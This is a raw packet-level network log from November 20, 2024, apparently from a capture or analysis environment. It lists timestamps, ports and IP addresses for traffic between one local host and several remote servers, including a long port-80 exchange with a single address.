Nov 20, 2024 18:57:51.332647085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.332781076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.332828999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.332900047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.332942009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.333034039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.333072901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.333112001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.333882093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.334005117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.334050894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.334707022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.334743023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.334851027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.335059881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.335485935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.335513115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.335532904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.335549116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.336306095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.336348057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.336539030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.336571932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.337097883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.337202072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.337261915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.337296009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.337373972 CET	49893	443	192.168.2.6	13.69.116.107
Nov 20, 2024 18:57:51.337413073 CET	443	49893	13.69.116.107	192.168.2.6
Nov 20, 2024 18:57:51.337502003 CET	49893	443	192.168.2.6	13.69.116.107
Nov 20, 2024 18:57:51.337629080 CET	49893	443	192.168.2.6	13.69.116.107
Nov 20, 2024 18:57:51.337647915 CET	443	49893	13.69.116.107	192.168.2.6
Nov 20, 2024 18:57:51.337925911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.337966919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.338155031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.338198900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.338731050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.338787079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.338819027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.338854074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.339566946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.339726925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.339749098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.339991093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.340357065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.340404987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.340770006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.340815067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.341190100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.341347933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.341407061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.341581106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.342026949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.342039108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.342077971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.342797041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.342844009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.342864990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.342886925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.343596935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.343787909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.343858004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.344414949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.344463110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.344774961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.344834089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.345248938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.345335960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.345381021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.346151114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.346164942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.346204996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.346223116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.347119093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.347163916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.347713947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.347786903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.347866058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.348062038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.348294973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.348341942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.348515034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.348558903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.348644018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.348704100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.349315882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.349355936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.349422932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.349461079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.350105047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.350176096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.350436926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.350485086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.350929022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.350950956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.350991964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.351877928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.351950884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.352006912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.352571964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.352641106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.352658987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.353172064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.353426933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.353440046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.353486061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.354201078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.354347944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.354368925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.354399920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.355038881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.355091095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.355236053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.355333090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.355500937 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.355739117 CET	49886	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:51.355747938 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.355834961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.355880976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.356039047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.356127977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.356255054 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.356600046 CET	49886	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:51.356601000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.356645107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.356704950 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.356885910 CET	49886	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:51.403322935 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.433172941 CET	443	49858	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:51.433268070 CET	443	49858	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:51.433983088 CET	49858	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:51.438098907 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.438123941 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.438210964 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.438277006 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:51.447725058 CET	49894	443	192.168.2.6	23.96.180.189
Nov 20, 2024 18:57:51.447742939 CET	443	49894	23.96.180.189	192.168.2.6
Nov 20, 2024 18:57:51.448039055 CET	49894	443	192.168.2.6	23.96.180.189
Nov 20, 2024 18:57:51.448283911 CET	49894	443	192.168.2.6	23.96.180.189
Nov 20, 2024 18:57:51.448297977 CET	443	49894	23.96.180.189	192.168.2.6
Nov 20, 2024 18:57:51.448920012 CET	49858	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:51.448935986 CET	443	49858	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:51.454600096 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:51.454613924 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.457782984 CET	49895	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:51.457825899 CET	443	49895	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:51.457890987 CET	49895	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:51.458811998 CET	49895	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:51.458836079 CET	443	49895	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:51.463917971 CET	443	49881	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.463984013 CET	443	49881	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.464209080 CET	49881	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.468653917 CET	49881	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.468677044 CET	443	49881	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.468692064 CET	49881	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.468698025 CET	443	49881	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.472294092 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.472450972 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.472639084 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.488970041 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.488977909 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.511034012 CET	49896	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.511048079 CET	443	49896	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.511197090 CET	49896	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.525829077 CET	49897	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.525861025 CET	443	49897	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.526072979 CET	49897	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.526213884 CET	49896	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.526226997 CET	443	49896	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.527044058 CET	49897	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.527060032 CET	443	49897	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.528271914 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:51.528290033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:51.528407097 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:51.528594971 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:51.530052900 CET	443	49887	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.530622005 CET	49887	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.530647993 CET	443	49887	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.531146049 CET	49887	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.531151056 CET	443	49887	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.557574987 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.557638884 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.557884932 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.558021069 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.558033943 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.558043957 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.558048010 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.561942101 CET	49898	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.561956882 CET	443	49898	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.562670946 CET	49898	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.562979937 CET	49898	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.562989950 CET	443	49898	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.628556013 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.628844023 CET	49888	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:51.628866911 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.629241943 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.629592896 CET	49888	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:51.629654884 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.629810095 CET	49888	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:51.638689041 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:51.638715029 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:51.647841930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:51.650360107 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:51.671339989 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:51.676887989 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.677273035 CET	49899	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.677313089 CET	443	49899	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.677380085 CET	49899	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.677730083 CET	49900	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.677768946 CET	443	49900	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.677860975 CET	49900	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.677942038 CET	49899	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.677958012 CET	443	49899	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.678225994 CET	49901	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.678267956 CET	443	49901	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.678335905 CET	49901	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.678453922 CET	49902	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.678463936 CET	443	49902	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.678647041 CET	49903	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.678658009 CET	443	49903	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.678694010 CET	49902	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.678715944 CET	49903	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.679034948 CET	49900	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.679050922 CET	443	49900	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.679186106 CET	49901	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.679199934 CET	443	49901	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.679338932 CET	49903	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.679347992 CET	443	49903	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.679507971 CET	49902	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:51.679526091 CET	443	49902	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.695333958 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:51.723345041 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:51.729264975 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:51.729288101 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:51.729321957 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:51.729331970 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:51.729346991 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:51.729387999 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:51.729711056 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:51.729767084 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:51.729824066 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:51.737570047 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:51.737581968 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:51.745433092 CET	443	49885	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.745506048 CET	443	49885	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.746182919 CET	49885	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.748079062 CET	49885	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.748094082 CET	443	49885	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.748105049 CET	49885	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.748111010 CET	443	49885	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.750782013 CET	49904	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.750818968 CET	443	49904	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.750943899 CET	49904	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.751132011 CET	49904	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.751147032 CET	443	49904	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.751722097 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:51.751790047 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:51.754724026 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:51.754731894 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:51.754997969 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:51.755172014 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:51.755186081 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:51.794984102 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:51.795072079 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:51.799340010 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:51.832703114 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:51.832722902 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:51.832879066 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:51.832889080 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:51.833091021 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:51.833142996 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:51.983767033 CET	443	49887	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.983835936 CET	443	49887	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.983886957 CET	49887	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.986215115 CET	49887	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.986229897 CET	443	49887	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.986241102 CET	49887	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.986246109 CET	443	49887	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.991301060 CET	49905	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.991322994 CET	443	49905	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:51.991556883 CET	49905	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.991939068 CET	49905	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:51.991951942 CET	443	49905	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:52.016298056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.016339064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.016350031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.016386032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.016717911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.016784906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.016824007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.017539024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.017582893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.017658949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.017793894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.018260002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.018326044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.018349886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.018402100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.019223928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.019237995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.019279003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.019927025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.019964933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.019985914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.020006895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:52.048409939 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.048439026 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.048449039 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.048465014 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.048472881 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.048482895 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.048500061 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.048512936 CET	443	49859	104.117.182.18	192.168.2.6
Nov 20, 2024 18:57:52.048546076 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.048571110 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:52.068691015 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:52.068798065 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:52.068851948 CET	49886	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:52.079669952 CET	49886	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:52.079689980 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:52.106592894 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:52.109371901 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:52.109448910 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:52.114963055 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:52.114984989 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:52.123002052 CET	49906	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:52.123047113 CET	443	49906	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:52.123142004 CET	49906	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:52.123439074 CET	49906	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:52.123454094 CET	443	49906	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:52.124131918 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:52.124157906 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:52.124553919 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:52.124586105 CET	49888	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:52.124608040 CET	49888	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:52.127882957 CET	49888	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:52.127897978 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:52.140369892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.140450954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:52.140451908 CET	49794	80	192.168.2.6	185.215.113.206
